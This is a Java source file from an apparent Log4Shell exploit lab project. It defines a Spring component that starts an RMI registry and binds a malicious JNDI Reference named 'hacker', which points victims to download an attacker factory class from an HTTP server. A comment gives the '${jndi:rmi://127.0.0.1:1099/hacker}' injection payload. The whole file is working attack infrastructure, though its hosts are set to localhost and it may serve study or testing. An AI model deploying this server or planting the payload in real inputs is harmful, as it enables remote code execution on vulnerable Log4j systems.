package com.morningyet.bug.log4j2.attacker.server.rmi;

import com.morningyet.bug.log4j2.attacker.hacker.Attacker;
import com.morningyet.bug.log4j2.attacker.hacker.AttackerFactory;
import com.morningyet.bug.log4j2.attacker.server.SimpleServer;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Component;

import javax.annotation.PostConstruct;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * 简易RMI服务器
 *
 * ${jndi:rmi://127.0.0.1:1099/hacker}
 *
 * @author moringyet
 */
@Component
public class SimpleRmiServer extends SimpleServer {

    private static final Logger logger = LoggerFactory.getLogger(SimpleRmiServer.class);

    private static final String CLASS_FILE_DOWNLOAD_BASE_URL = "http://127.0.0.1:18081/";

    @Value("${rmi.server.port}")
    private int port;

    @PostConstruct
    public void init() {

        try {
            LocateRegistry.createRegistry(port);
            Registry registry = LocateRegistry.getRegistry();

            String attackerCanonicalName = Attacker.class.getCanonicalName();
            String factoryCanonicalName = AttackerFactory.class.getCanonicalName();

            Reference reference = new Reference(attackerCanonicalName, factoryCanonicalName, CLASS_FILE_DOWNLOAD_BASE_URL);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("hacker", referenceWrapper);
        } catch (Exception e) {
            logger.error(e.getMessage(), e);
        }

    }

}
